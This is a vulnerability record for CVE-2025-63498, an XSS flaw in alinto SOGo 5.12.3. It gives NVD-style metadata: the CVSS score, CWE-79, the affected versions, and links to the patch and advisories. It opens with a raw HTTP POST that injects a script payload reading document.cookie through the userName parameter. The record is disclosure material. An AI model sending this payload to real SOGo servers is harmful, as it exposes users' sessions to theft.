CVE-2025-63498

POST /SOGo/so HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded userName=<script>alert(document.cookie)</script>&action=update

{"cve": {"id": "CVE-2025-63498", "sourceIdentifier": "[email protected]", "published": "2025-11-24T21:16:04.470", "lastModified": "2025-12-30T17:32:50.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "alinto SOGo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the \"userName\" parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alinto:sogo:5.12.3:*:*:*:*:*:*:*", "matchCriteriaId": "9F1BFA2B-EECD-4D79-B38B-27B6B570C82F"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/xryptoh/CVE-2025-63498", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00029.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}